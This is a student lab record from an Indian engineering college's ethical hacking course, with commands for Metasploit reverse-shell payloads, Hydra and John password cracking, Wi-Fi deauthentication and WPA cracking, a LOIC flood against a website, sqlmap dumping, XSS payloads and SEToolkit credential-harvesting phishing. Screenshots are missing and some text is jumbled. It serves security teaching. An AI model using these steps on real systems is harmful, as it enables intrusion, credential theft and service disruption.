Ethical Hacking and Social Engineering Lab Record
CODE: CMSL5
IV/IV [Link] (VII Semester)
Submitted By
______________________________________________
Department of Computer Science and Engineering
(Artificial Intelligence and Machine Learning)
R.V.R&[Link]
(Autonomous)
NAAC A+ Grade, NBA Accredited
(Approved by A.I.C.T.E.)
Affiliated to Acharya Nagarjuna University
Chowdavaram, GUNTUR–522019, Andhra Pradesh, India
2024-25
i
Department of Computer Science and Engineering
(Artificial Intelligence and Machine Learning)
CERTIFICATE
This is certify that this is the bonafide record of the work done in Ethical Hacking and Social
Engineering Laboratory (CMSL5)” by ___________________________________________
during the academic year 2024-2025.
Number of Experiments completed: 10
Lecture in charge Head of the Department
ii
INDEX
Sl. No Experiment Date Page No Signature
Installations:-
a) VMware
b) Kali
c) Windows OS,
1 1-25
d) metaspotiable-2
e) DVWA.
Footprinting Tools :-
a) recon-ng
b) nmap
2 c) Dmitry
26-37
d) Netdiscover
Hacking any windows OS by using Metasploit
3 Framework & Malware. 38-42
Burpsuit
4 43-45
Password Attacks:-
a) Online Password Cracking with
5 hydra, xhydra.
b) Offline Password Cracking 46-53
With John the ripper.
MacChanger to Change the (MAC)
6 54-54
Address of your Wi-Fi Card.
Wireless Network Attacks.
a) Aircrack-ng
7
b) FernWi-FiCracker 55-60
Cyber Security Attacks:-
a) Denial of service
b) SQL injection (sqlmap) 61-75
8
c) Cross-site scripting
d) Session hijacking
Linux Firewall rules configuration by Iptables.
9 76-80
10 Phishing attacks with Setoolkit. 81-85
iii
4/4 CSM
Ethical Hacking and Social Engineering
Lab
1. Installations:- VMware, kali, Windows OS, metaspotiable-2 &DVWA.
1 a. Installation of VMware on WindowsOS
Step 1:-To install VMware download it from Official VMware Website and Double Click on the Setup file.
Step2:- Click Next in the Installation Wizard.
Step3:- Accept the license Agreement and Click Next to Continue the installation.
1|P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Labfolder in which you would like to install the application. Also select
Step4: Choose Custom Option and Select the
Enhanced Keyboard Driver check box and Click Next.
Step5:-Next you are “Check for Updates ”and“ Help improve VMware Workstation Pro”. Leave it to defaults
and Click Next.
Step6:-Next step is to select the place you want the shortcut icons to be placed on your system to launch the
application, select them as you prefer.
2|P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
Step7:-Now you see the begin installation dialogbox. Click install to start the installation process. Wait for this
to complete.
Step8:- Attend you will see installation completion dialogbox. Click finish and you are done with the installation
process. You may be asked to restart your computer. Click on Yes to restart.
Step9:-After restarting the PC, Launch VMware Workstation.
3|P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
1b. Installation of Kali Linux on VMWare Workstation16
Step 1: To install the Kali Linux, we need to download the installer ISO image file, from [Link] official
Website.
Step 2: After Downloading, Open VMware player from the Windows Start menu and Click on Create a New
Virtual Machine or File -> New Virtual Machine. Welcome to the new Virtual Machine Wizard dialog box will
open. Select typical and click on next.
4|P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Step 3: You will see new Virtual machine Lab
Wizard dialog box, Click Next. In the next dialog box, you will have
to browse to the downloaded ISO file and click next. In the next dialog box, you will be asked to select the Guest
Operating System. Select Guest operating system as Linux and Version as Debian 10.x 64-bit and Click next.
Step4: In this dialog box, you will be asked to provide the name of the virtual machine. You can also change the
location of the virtual machine. By default, it is place in the Documents/Virtual Machine folder. Leaving it as the
default is also fine.
5|P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Step 5: Next dialog box asks you to specifyLab
the disk capacity. This is the maximum amount of disk space it will
utilize once the Virtual Machine is created. You can leave it to the default but if you are running low on disk
space, you can reduce it to20GB.
Step 6: Now Ready to Create Virtual Machine dialog box will appear, where all the previously selected values will be
displayed Here Click on Finish.
Step 7: After the Virtual Machine is created, Launch the kali Virtual Machine to install Kali Linux on virtual
machine.
6|P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Step8: Now Boot Menu will appear, we need Lab
to select the Graphical Install using Down arrow and continue.
Step9: In the next step select the preferred language for kali operating System and continue.
7|P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
Step10: In this next step you will be asked to select the key board layout .Please select a Keyboard layout using
the arrow keys and click continue.
Step11: After you click continue, you will see the installation progresses for some of them
you see the Network Configuration dialog box, which is the next step.
Step12: In this dialog box you will be asked to enter the hostname for your system. This being a home network, we
can set anything. Enter anything and clicks continue.
8|P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
Step13: In this dialog box you will be asked to enter the domain name for your system. We can set anything like
[Link]
Step14:In this dialog box you will be asked to enter the hostname for your system. This being a home network, we
can set anything. Enter any thing and click continue.
Now you will be asked to provide the username again. Use the same name as the account name in the
previous screen.
You will be asked to setup a password of the user you created. Enter the password. We will login with
this username and password once the installation completes.
9|P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Labyou would like to partition your disk. Select Guided–Use entire disk
Step15: In this dialog box you are asked how
and click continue. This is the default option.
Select the disk to partition the Size is Specified in Step5 and Click Continue.
In this dialog box you are asked to select a disk to partition. Select SDA, VMware Virtual disk. There
should be only one option. Click Continue.
Step16: In this dialog box you are asked to select a scheme for disk partition. Select the default, all files in one
partition and click Continue.
Step17: In this dialog box you are see the summary of your disk partition. Select the Finish Partitioning and Write
changes to disk. Which should be selected by default. All you must do is to click continue.
10 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab Write changes to disk. Select yes and click continue.
Step18: In this dialog you are asked to confirm
Step 19: Now the actual installation starts. Wait for Configure the Package Manager Dialog box to appear.
Installation process will continue. Wait for some time and let the process continue.
Step20: After Installation Process Completes, In the next screen you will have to specify what software you want
to install. I accept the large, that is install all that is a part of default and additional tools. Click continue to proceed.
11 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Step21: In this dialog box you will be askedLab
if you would like to install the GRUB boot loader. Select Yes and click
Continue.
Select device for GRUB boot loader installation.
Step 22: Installation will continue and now you will see Installation complete dialog box. Click continue to finalize
the installation and wait for the VM to reboot. After rebooting you will see the boot loader screen.
12 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Step23:After the VM starts, you will see theLab
Grub boot loader. Select Kali GNU/Linux.
Step24: Login with your credential you created. Enter your username and Password
13 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
1c. Installation of Windows OS in Lab
VMware.
Step1: Run the VMware Player and click on create a new virtual machine go to the next step.
Step2: In this step, show the new virtual machine wizard and click on install the operating system then click
on next.
14 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab and choose the Microsoft Windows and select the version
Step3: In this step show the guest operating system
Windows8 and give product key and set the username and password
Step 4: In this step type the virtual machine name like Windows 8 and click Browse the location and select the
folder that you want to install to and then click on next.
15 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Step5: In this step, specify the disk capacityLab
and that you want to maximize the disk size and select the virtual
disk as a single file and click on next.
Step6: In this step, show the ready to create a virtual machine and click on the finish.
16 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab and click next.
Step7: Enter your language and other preferences
Step8: In this step, click the install now.
17 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Labthen go to next.
Step9: In this step, click the I accept license and
Step10: Which type of installation do you want?
18 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab and click on next.
Step11: In this step, enter drive unallocated space
Step12: In this step, show the installing Windows.
19 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
Step13: In this step Windows8 is preparing.
Step14: After Setup windows will start
20 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
1d. Installing Metasploitable2 OS inVMware.
Step1:- Download Metasploitable2 OS vmware zip file from internet
Step2:-Extract the zip file
21 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
Step3:- Open the VMware and click on the open a virtual machine option.
Step4:- Select the .vmx file from File Explorer.
Step5:- Click on the power on virtual machine
22 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
1e. Installation of DVWA Web Lab
Application on Kali Linux OS
Step1: Login to root user in Kali Linux.
To set root account in Kali Linux use following commands in normal user account:
> Sudo su
> Passwd root
Now set the password for the root.
Step2: Browse for the DVWA in google and click on the 1st GitHub link. Then copy the repository link.
Step3: Open terminal and change directory to var/www/html
> cd var/www/html
Step 4: Now give following command to download the GitHub repository,
> gitclone [Link]
Step5: Now give the access permissions to the DVWA folder,
> chmod –R 777 DVWA
Step6: Now change directory to DVWA/config by following command,
> cd DVWA/config
Step7: Now rename the file [Link]. dist to [Link]
> cp [Link] [Link]
Step8: Now open the file [Link]
> nano [Link]
Step9: Now perform the below change in the file.
‘’db_user’’=‘’name’’
‘’db_password’’=‘’password’’
23 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
Step10: Now save and close the file,
CTRL + O (SAVE)
CTRL+X (CLOSE)
Step11: Configure the user to the database, start and access the MySQL database
> service mysql start
> mysql –u root
Step12: Create the database “dvwa”
> create database dvwa
Step13: Create the user for the database “dvwa”
> Create user ‘name’@’[Link]’ identified by ‘password’;
Step14: Now grant all privileges to the user,
> Grant all privileges on dvwa.*to‘name’@’[Link]’ identified by ‘password’;
Step15: Now configure the apache2 server
> Service apache2 start
Step16: Now change the directory to/etc/php/7.4/apache2 by using cd/etc/php/7.4/apache2
24 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
Step17: Now edit [Link] file with following changes,
allow_url_fopen=On
allow_url_include=On
Now Save and close the file.
Step 18: Now open the DVWA Web Application in the browser with following link,
> [Link]/DVWA
Step 19: Click on“ Create/Reset Database”
Step20 : Login with the below credentials
Username: admin
Password: password
25 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
2. Footprinting Tools -recon-ng, Lab
Dmitry, netdiscover, nmap.
a) Recon-ng:
Open Terminal
➢ recon-ng
Install required modules
➢ Marketplace install recon/domains-hosts/netcraft
➢ marketplace install recon/hosts-hosts/resolve
➢ marketplace install recon/domains-hosts/hackertarget
➢ marketplace install recon/domains-contacts/whois_pocs
26 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Netcraft: Lab
To load the netcraft module.
➢ Modules load recon/domains-hosts/netcraft
To check the source in the module
➢ info
To change the source
➢ options set source [Link]
To see the output
➢ run
Resolve:
To load the resolve module
➢ modules load recon/hosts-hosts/resolve
To check the source in the module
➢ info
27 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
To change the source Lab
➢ options set source [Link]
To see the output
➢ run
Hackertarget:
To load the hackertarget module
➢ modules load recon/domains-hosts/hackertarget
To check the source in themodule
➢ info
To change the source
Options set source [Link]
To see the output
run
28 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
whois_pocs: Lab
To load the whois_pocs module
➢ modules load recon/domains-contacts/whois_pocs
To check the source in the module
➢ info
To change the source
➢ options set source [Link]
To see theoutput
➢ run
29 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
2b). Finding live hosts, operating systems, open ports and firewalls information
using nmap.
Nmap: Procedure: Step1: Enter nmap url in the command prompt (for example [Link])
Step2: nmap –O ipaddress.
It shows which operating system is used for the particular ip address.
30 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
Step3: nmap –p 80 ipaddress (to check whether the http port no is opened or closed)
Step4: To check multiple prots at a time command is nmap–p21, 80, 8080 ipaddress
31 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
Step5: click nmap –p- ip address(it check 65535ports).
32 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Step6: Find out live hosts in a network Lab
Step7: Scan for firewalls on a target
33 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
2c) Information gathering about a Lab
domain using Dmitry.
Dmitry (Deepmagic Information Gathering Tool) is a UNIX/(GNU)Linux Command Line Application coded in
C. Dmitry has the ability to gather as much information as possible about a host. Base functionality is able to
gather possible sub domains, email addresses, uptime information, tcp ports can, whois lookups, and more.
Procedure:
➢ We can open Dmitry either directly from terminal or from application.
➢ These options are divided into Active , Passive and Output types.
➢ Dmitry also has a man page which gives more details about each option. We can enter the man page
using“ man dmitry“command.
➢ We can use these options to scan a host as follows.
➢ We can also store the output into a file using –o option.
➢ We can also use a group of options in a single command
Step1:To get ipaddress, who is lookup, sub domain and other information from the given domain name
34 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
35 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
2d). Finding the live hosts in a network using netdiscover.
Step1: Open a terminal and give netdiscover command
Step2: To gather a range of the devices give netdiscover –r [Link]/16
36 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
37 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
3) Hacking any windows OS by using Metasploit Framework & Malware.
Step1: Login into root user and open new terminal
Step2: Create a payload using msfvenom
38 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
Step3: Copy the malware file to /var/www/html
Step4: Edit the [Link] file in the /var/www/html add the payload to there direct path.
Step5: Start the apache2 server by execution the command service apache2 start
Step6: Enter the ipaddress of kali linux pc in any browser to download the payload and run the payload.
39 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
Step7: Open a new terminal and type“msfconsole”.
Step8: To use the msfconsole exploit give the command “use exploit/multi/handler”.
Step9: Now we need to set windows payload, give the command
“set payload windows/meterpreter/reverse_tcp”
Step10: Now set the lhost by using command “set lhost [Link]”.
40 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Step11: Now we need to run the exploit, forLab
that we need to give a command “exploit”.
Step12: Now if the user at the target system clicks the payload, a session will be opened between our system and
the target system. Then the meterpreter shell will be opened.
Step13: In the meterpreter shell we can execute the commands to exploit the target system. To know about meterpreter
commands we can give a “help”command to know them.
41 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
42 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
4) Testing web application security by using Burpsuite
To know the vulnerabilities in the particular website, if it has SQL injection vulnerable and retrieve information.
BurpSuite is a graphical tool for testing Web application security. The tool is written in Java and developed
Port Swigger Security. The tool has two versions: a free version that can be downloaded free of charge (Free
Edition) and a full version that can be purchased after a trial period (Professional Edition). It was developed to
provide a comprehensive solution for web application security checks. In addition to basic functionality, such
as proxy server, scanner and intruder, the tool also contains more advanced options such as a spider, a
repeater, a decoder, a comparer, an extender and a sequencer.
Step1: Login to Kali Linux
Step2: Now start the Burpsuite by clicking on the Burpsuite icon from the Main menu list and click through the
opening menus. Just use the defaults.
Step3: Go to HTTP History under proxy and click on the Open browser button.
43 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
Step4: The proxy should be configured by default, but just take a second to double-check it. In your BurpSuite
window, click on“Proxy”on the top row of tabs, then “Options” on the lower level.
Step5: Now, start the browser and search for [Link]
44 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab as a proxy for Firefox, and you’re ready to start using it to
Step6: At this point you have Burp suite running
capture information coming from Firefox. In proxy, HTTP History tab, we can see the HTTP requests and
Urls.
45 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
5 a) Online Password Cracking Lab Hydra, xHydra.
with
Step1: open hydra tool in kali Linux
Type hydra in terminal
Step2: Type the below given command at terminal
hydra –l <username> -p <password> [Link]
46 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
hydra –L <[Link]> -P <[Link]> [Link]
47 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
48 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
xHydra:
Step1: open terminal and type xhydra
Step2: Choose target
Step3: Choose port no and protocol
49 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Step4: choose username and password Lab
Step5: click on start button
Step6: Now the output is displayed like given below.
50 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Labpassword files.
Password cracking with passing username and
51 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Labripper
5b) Offline Password Cracking with John the
Step1: open terminal and type john
Step2: open terminal and type the given below terminal
Syntax: John --format=raw-md5 <inputfile(hashfile)> <outputfile<dictionaryfile>)
52 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Step3: To show all cracked passwords list, Lab
use“--show”command.
53 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
6) MacChanger to Change the (MAC) Lab
Address of your Wi-Fi Card
Macchanger is a Linux utility for viewing machine mac addresses and changing the MAC ad‐dress for
network interfaces. Using this utility you can’t change your mac address permanently, After reboot your
machine you need to change again your mac address.
Why we Need MacChanger.
Sometimes, you also change or manipulate your mac address so that your device’s network card hardware
address is hidden. To do so you can use the tool macchanger that already exists in Kali Linux.
COMMAND(To display the all options of Macchanger) :-macchanger -h
-h, --help Print this help
-V, --version Print version and exit
-s, --show Print the MAC address and exit
-e, --ending Don't change the vendor bytes
-a, --another Set random vendor MAC of the same kind
-A Set random vendor MAC of any kind
-p, --permanent Reset to original, permanent hardware MAC
-r, --random Set fully random MAC
-l, --list[=keyword] Print known vendors
-m, --mac=XX:XX:XX:XX:XX:XX Set the MAC XX:XX:XX:XX:XX:XX
1) Before changing our mac-address, we need to down our network let’s run this command for the network connection
to turn off.
COMMAND:- sudo ifconfig wlan0 down
2) Now We are ready to change the MAC address of the network interface by using this command.
COMMAND:- macchanger -r wlan0
3) Once you have done these commands you can finally open your network interface and again check the mac address
using these commands.
COMMAND:- sudo ifconfig wlan0 up
COMMAND:- macchanger -s wlan0
54 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
7. Wireless NetworkAttacks
7 a) Viewing Wireless Networks with Aircrack-NG.
Introduction:
The Aircrack-NG tools are some of the most commonly used command line programs in Wi-Fi security testing.
And many of the graphical Wi-Fi security testing programs actually use the Aircrack NG tools in the
background. Let's start out by using Airmon-NG to view available wireless networks.
Using Airmon-ng:
1. Open a terminal session and type in the command “ifconfig”. You should see your
wireless network card listed as wlan0
If the interface does not show up, try typing “ ifconfig wlan0 up”
2. Ok, now we need to do is put the card in monitoring mode. To do this, just type,
“airmon-ng start wlan0"
You can see in the image above that a monitoring interface is created called “wlan0”. The other Aircrack-ng
utilities will use this new interface. You may also see a notice here about processes that could cause trouble. This
can be ignored. Now we will run the Airodump-ng program that will list all the Wi-Fi networks in range of your
wireless card.
3. Simply type, “airodump-ng wlan0”
The Airodump-ng program will start and you will see a list of all available wireless access points (APs) and also
a list of clients that are attached.
55 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab to the terminal prompt.)
(You can hit CNTRL-C at any time to exit back
Airodump-ng lists several pieces of information that are of interest.
The first is the MAC address of the AP device.
Now, to capture packet info to attack file.
airodump-ng –bssid [Link]-c6 –w /home/Khumaini/Desktop/att wlan0
To deaunthacate send (0 means multiple Deauthentication packets...4 means four Deauthentication packets)
> aireplay-ng -04-[Link] wlan0 --deauth 50
56 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
Perform the attack
aircrack-ng –w /root/[Link] /home/Khumaini/Desktop/[Link]
Password Cracked:
57 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
7b) Fern WIFI Cracker
Introduction: Fern WIFI Cracker is a great program that provides an easy to use graphical interface to
underlying Aircrack-ng and Reaver Wireless penetration testing tools. Using this tool we can scan for access
points, and perform menu driven WPS attacks and WEP/WPA/and WPA2 passkey cracking. You can also attack
Wireless Protected Setup(WPS) with Fern.
Using Fern Wifi Cracker:
1. KaliLinux> WirelessAttacks> WirelessTools> fern-wifi-cracker from the menu or run fern-wifi cracker from
the command line.
58 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
2. Simply select your interface from the dropdown list:
Monitor mode will be automatically enabled and Fern will search for Access Points in the area. Once some are
detected they will show up in either the WIFI WEPor WPA icon as seen below:
3. Clicking on the WIFI Icon, It will displays the list of available access points in the detectable range.
59 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
4. Now simply select an access point from the Target Access Panel. Then select WPS or Regular attack and set
password list file.
After specifying the dictionary file, click on wifi attack button.
And as you can see below, the small password that I used was found during the dictionary attack:
60 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
8 a) Denial of Service Attack
Aim: To Perform DOS attack on website.
Tools Required:
• LOIC(Low Orbit Ion Cannon)
• Browser
Description: A Denial of Service (DoS) attack is different from a DDoS attack. The DOS attack typically uses
one computer and one Internet connection to flood a targeted system or resource. The DDoS attack uses multiple
computers and Internet connections to flood the targeted resource.
Websiteurl:[Link]
Step1: install mono package using apt-get install mono-complete
Step2: Launch the LOIC application using mono [Link]
Step3: Copy the url of desired website to perform attack in LOIC and choose attack type as UDP and click on
start button.
61 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
62 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
8 b) Sql-injection Lab
Aim: Retrieve information website which is vulnerable about usernames and passwords from the website.
Description:
SQL injection is a type of cyber attack that targets the vulnerability in an application's software by injecting
malicious SQL code. This code can manipulate the application's database, potentially giving unauthorized access
to sensitive information or even allowing an attacker to modify or delete data.
SQLMap is a popular open-source penetration testing tool that automates the process of detecting and exploiting
SQL injection vulnerabilities.
Requirements:-
▪ Vulnerable Website.(In this case we shall use the DVWAapplication)
▪ Firefox
Procedure:-
Step1:Start the DVWA Web [Link] find the cookies value and to monitor sqlmap activity, start the
Burpsuite tool.
63 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Step2: After starting Burpsuite, go toHTTPLab
History under Proxy and launch the browser.
Step3: Login to the DVWA Web Application and set the security level of the Web Application to low.
64 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Step 4: Apply sql injection to retrieve data,Lab
in this we give id 4 and proceed further.
Step5: After clicking on the submit button, In burpsuite history tab we get details of our requested url and cookie
details. By using these details we can retrieve information from the databases.
65 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
Step6: Launch a new terminal and test the sqlmap tool.
Step7: We retrieve database names by using the following command.
Sqlmap–u <urldetails> --cookie=”cookie datails”–dbs;
Retrieved databases are dvwa and information_schema.
66 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
Step8: We retrieve table names by using the following command.
Sqlmap –u <urldetails> --cookie=”cookiedatails” –D<databasename> --tables;
Retrieved tables are guestbook and users.
Step9: We retrieve column names by using the following command.
Sqlmap –u<urldetails> --cookie=”cookie datails” –T<tablename> --columns;
67 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Labcommand.
Step10: We retrieve data by using the following
Sqlmap –u <urldetails> --cookie=”cookie datails”–C <column names> --dump;
68 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
69 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
8 c) Cross Site Scripting attack
Aim: To enter malicious code and hack the website
Tools required:
• Browser
• Kali Linux
• Website(DVWA)
Description: It is also called as cross site scripting which allows to inject malicious code into the
website especially using java script and attack the particular website. It is used for steal cookies ,phishing
attack etc.,.
Step1: start Apache2 server and MySQL database.
Step2:Login to DVWA
70 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Step3: Change the Security level of DVWALab
to low.
Step 4: In the text file give basic java script using tags. In this example we use the tag script
<script>alert(“hii”)</script>
71 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
Step 5: select the security level to medium
Step 6: use the tag svg (source vector graphics)
<svg onload=prompt(“hello”)></svg>
72 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
8d) Session Hijacking Lab
Aim: To get session from the user request and use the particular session to get information from the particular
request
Tools Required:
• Kali Linux
• Browser
• Burpsuite
Description: The session hijacking is a type of web attack. It works based on the principle of computer sessions.
The attack takes advantage of the active sessions. To know this in detail, we need to know what a session is.
Let’s see what a session is and how this session works first.
The session refers to certain time period that communication of two computer systems or two parts of a single system
takes place .When one login to a password protected system, the session is used. The session will be valid up to
the end of the communication. In some cases, such as in the above described case, the session is user-initiated.
There are technology-initiated sessions also. Various email clients use these sessions and these are examples for the
sessions initiated by the technology. However, many of the active sessions will be hidden from the users. They
will not know when a session starts and ends. The session is an important factor in the Internet communications.
Procedure:-
Step1: Start the DVWA Web Application. To find the cookies value and to monitor sqlmap activity, start the
Burpsuite tool.
73 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Step2: After starting Burpsuite, go to HTTPLab
History under Proxy and launch the Firefox browser from
OWASP-ZAP window.
Step3: Login to the DVWA Web Application and set the security level of the Web Application to low.
74 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Step4: Apply SQL injection to retrieve data,Lab
in this we give id 4 and proceed further.
Step5: After clicking on the submit button, in burpsuite history tab we get details of our requested url and
cookie details. By using these details we can retrieve information from the databases.
75 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
9. Linux Firewall rules configuration by Iptables.
Description: iptables controls the ports on a network interface where the packets will enter and exit. If we don’t want to
allow the traffic from a specific port we can close the port.
Theory:
IPtables is a rule-based firewall system and it is normally pre-installed on a Unix Operating System which is
controlling the incoming and outgoing packets. By default, the IP tables is running without any rules, we can
create, add, edit rules in to it.
IPtables is used to set up, maintain, and inspect the tables of IP packet filter rules in the Linux kernel. Several different
tables may be defined. Each table contains a number of built-in chains and may also contain user-defined chains.
Each chain is a list of rules which can match a set of packets. Each rule specifies what to do with a packet that
matches. This is called a ‘target’, which may be a jump to a user-defined chain in the same table.
Basic structure of IPtables:
Tables—> Chains—>Rules Types of Chains:
It is the default table in IPtables. There is no need to specify the table name for defining the Rules. Different in
built chains in this table.
1. INPUT Chain
This chain handles all packets that are addressed to your server.
2. FORWARD Chain
This chain is used to deal with traffic destined for other servers that are not created on your server. This
chain is basically a way to configure your server to route requests to other machines.
3. OUTPUT Chain
This chain control packets from the server to outside. Here we can add different rules to manage out bound
connection from the server.
Targets:
Each and every chain contains three types of actions. Those are
1. ACCEPT: for accepting packets.
2. REJECT: when you want the other end to know the port is unreachable
3. DROP: It drops packets and will not carry out any further processing
RULES:
1. Displaying list of chains
-L: For displaying list of chains
-n: for displaying IPaddress and port number in numeric format
-v: for displaying the rules in detail
--line-numbers: to display rules in line numbers
76 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
1. List the rules (Iptables –L) Lab
2. To block a website
• Find Ipadress of the gmail
• Find range of [Link]
• Write the rule to block the website (iptables –A OUTPUT –d [Link]/15 –j DROP)
77 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
3. Delete the rule
• iptables–D OUTPUT -d142.250.0.0/15 –j DROP
4. To avoid ping connection
Iptables –A INPUT-p icmp –j DROP
78 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
Delete the rule
Iptables –DINPUT–p icmp –j DROP
5. To avoid TCP Connection
79 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
6. Delete the rule
80 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
10. Phishing attacks with Lab
SEToolkit
• Open Terminal and enter following command
> setoolkit
• Choose Social –Engineering Attacks by giving “1”
• Choose Website Attack Vectors by giving “2”
81 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
• Choose Credential Harvester Attack Method by giving “3”
• Choose Web Templates by giving “1”
• Choose Google Website by giving “2”
82 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
• Open browser and enter IPAddress
• Enter your details
83 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Lab
• Close the Terminal and repeat the above steps until Credential Harvester Attack
• Choose Site Cloner by giving “2”
84 | P a g e
4/4 CSM
Ethical Hacking and Social Engineering
Enter a website link : [Link] Lab
• Open browser and enter IPAddress and enter details.
85 | P a g e